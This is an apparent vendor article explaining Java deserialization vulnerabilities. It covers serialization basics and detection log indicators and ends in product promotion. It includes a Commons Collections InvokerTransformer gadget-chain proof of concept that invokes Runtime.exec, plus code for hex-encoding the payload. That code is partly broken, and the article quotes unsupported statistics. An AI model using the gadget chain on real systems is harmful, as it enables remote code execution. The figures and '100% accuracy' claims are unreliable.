Article

What is a Java Deserialization Vulnerability?

What exactly is a Java Deserialization Vulnerability?

A Java deserialization vulnerability occurs when a Java application deserializes untrusted data and is a seldom-mentioned yet massive Application Security issue. 

During the deserialization process, the data is transformed from its stream of bytes (binary representation) into an object that the application can use.

This process is made possible by the Apache Commons Collection library. The name of the class that’s responsible for the transformation is InvokerTransformer.

Due to its utilization of a reflection method, the InvokerTransformer class is also responsible for the exploitability of Java deserialization.

According to a study by SANS Institute, deserialization vulnerabilities are the most common vulnerability in Java applications, accounting for 30% of all vulnerabilities detected. 

Another study by Veracode found that 88% of applications tested during the first quarter of 2020 had deserialization vulnerabilities.

Deserialization vulnerabilities have affected all versions of Java since the early days and are still present. They allow attackers to inject malicious code into an application’s memory, providing unauthorized access to sensitive information.

Before we look at how to exploit, identify, and fix deserialization vulnerabilities, it is necessary to understand the basics of Java deserialization.

What is deserialization, and what does it do?

Deserialization is the process of turning binary data back into an object. During serialization, an object’s state is transformed into a binary format to be written to a file, delivered over a network, or saved in a database. Deserialization requires reading the binary data and reassembling the object from it. It is the opposite of serialization.

Java has built-in support for serialization and deserialization through the java.io.Serializable interface. For an object to be serializable, it must implement this interface.

When an object is serializable, it can be read back into an object using the ObjectInputStream class and written to a binary format using the ObjectOutputStream class.

For example, consider the following class:

public class Person implements Serializable {

    private String name;

    private int age;

    //constructor, getters, and setters

}

You can serialize an instance of this class as follows:

Person person = new Person("John", 25); FileOutputStream fos = new FileOutputStream("person.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(person); oos.close();

And deserialize as follows:

FileInputStream fis = new FileInputStream("person.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Person person = (Person) ois.readObject(); ois.close();

What makes Java’s deserialization a security risk?

Java’s deserialization process is flawed because it does not adequately evaluate the deserialized data, resulting in vulnerability. The InvokerTransformer class aims to transform objects in a collection by invoking a reflection method.

Bad actors abuse this functionality and leverage it to invoke untrusted data, meaning they can call Runtime.exec() or any other risky method and execute arbitrary code on the application.

The result of the deserialized untrusted data is known as “Insecure deserialization.” This exploitation can result in remote code execution (RCE) and, ultimately, data breaches.

Taking Advantage of Unsecure Deserialization

An attacker must first find a vulnerable application that uses Java serialization and deserialization to conduct a Java deserialization attack. The attacker then creates a malicious payload in the form of a serialized object that the vulnerable application will deserialize.

For example, to abuse the InvokerTransformer and make it invoke arbitrary, dangerous methods, the attacker needs a specially crafted method sequence. 

Each method in the sequence is called a “gadget,” and the malicious sequence of method calls is called a “gadget chain.” In the case of the Apache Commons Collections, the InvokerTransformer is a gadget in the malicious gadget chain.

Here’s an example of a gadget exploit using the Apache Commons Collection (ACC) library that you should only use for testing purposes:

import java.io.*;
import java.util.*;
import org.apache.commons.collections4.*;
import org.apache.commons.collections4.functors.*;

public class GadgetExploit {
    public static void main(String[] args) throws Exception {
        // Create a map containing the vulnerable class
        Map<String,Object> map = new HashMap<String,Object>();
        map.put("value", "value");
        map.put("key", "key");
        // Create a Transformer that calls the 'getRuntime' method
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
            new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "calc.exe" })
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map payload = Collections.singletonMap("value", chainedTransformer);
        Map<String, Object> map2 = new HashMap<String, Object>();
        map2.put("value", payload);
        // Create the payload and serialize it
        Map<String, Object> payload = new HashMap<String, Object>();
        payload.put("key", map2);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(payload);
        oos.close();
        // Send the payload to the vulnerable application
    }
}

Once constructed, the attacker writes the payload object to a byte array, then converts the byte array to a hexadecimal string representation that can easily pass in a text input, like below:

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(payload);
oos.close();

byte[] serializedPayload = baos.toByteArray();
String hexPayload = javax.xml.bind.DatatypeConverter.printHexBinary(serializedPayload);

Once the attacker submits the form, the application deserializes it, executing the gadget chain. This process allows the attacker to gain control of the target system or steal sensitive information.

It’s crucial to remember that Java deserialization flaws are frequently discovered in third-party libraries, making it challenging for developers to find and repair them. Organizations should utilize security solutions that identify and stop malicious payloads since Java deserialization attacks can be difficult to detect.

Identifying insecure deserialization exploits

When monitoring logs for insecure deserialization attempts, one should search for unusual or suspicious activity that could point to an active attack. Examples of what to look for are as follows:

  • Unusual remote method invocations (RMI): If a program makes a disproportionately large number of RMI calls, this may be a sign that a hacker is attempting to take advantage of a deserialization flaw.
  • Exploitation attempts: If an attacker is attempting to use a known deserialization vulnerability, it may be recorded in the logs. For instance, the logs might contain information that an attacker is trying to take advantage of a vulnerability known to exist in a particular library version.
  • Unexpected class loading: The logs may contain information about an attacker trying to load a malicious class while deserialization is in progress. According to some theories, this might mean that someone is trying to run arbitrary code on the target system.
  • Exception stack trace: The logs might show you if an application encounters a deserialization vulnerability. Example logs might look similar to the following:

    [WARNING] [2022-12-12 12:12:12] Exception occurred during deserialization: java.io.InvalidClassException: malicious.class.payload; local class incompatible: stream classdesc serialVersionUID = -1234567890, local class serialVersionUID = -9876543210
    [WARNING] [2022-12-12 12:12:12] Unusual class loading: malicious.class.payload
    [WARNING] [2022-12-12 12:12:12] Remote method invocation (RMI) call: java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:227)
    [WARNING] [2022-12-12 12:12:12] Unusual access to sensitive data detected: User 'attacker' accessed 'sensitive_data'
    [WARNING] [2022-12-12 12:12:12] Unusual network traffic: incoming payload from IP address '192.168.1.100' on port '8000'
    
  • Unusual access to sensitive data: Keep an eye out for unusual user access to information that shouldn’t be available. This access might be an example of a hacker executing arbitrary code.

It’s important to remember that not all of these indicators will always be present and that an attacker may also employ covert tactics. As a result, it is advised to use multiple security layers and regularly check the logs.

For confidence in protecting your Java applications from insecure deserialization vulnerabilities, Security-as-Code solutions like Waratek Secure are the only Application Security solutions known for 100% accuracy with ultra-low performance overhead.

To learn more about how Waratek Secure immutably prevents insecure deserialization, download our whitepaper: “Security-as-Code: The Solution to Insecure Deserialization.”

Related resources

Ready to scale Security with modern software development?

Work with us to accelerate your adoption of Security-as-Code to deliver application security at scale.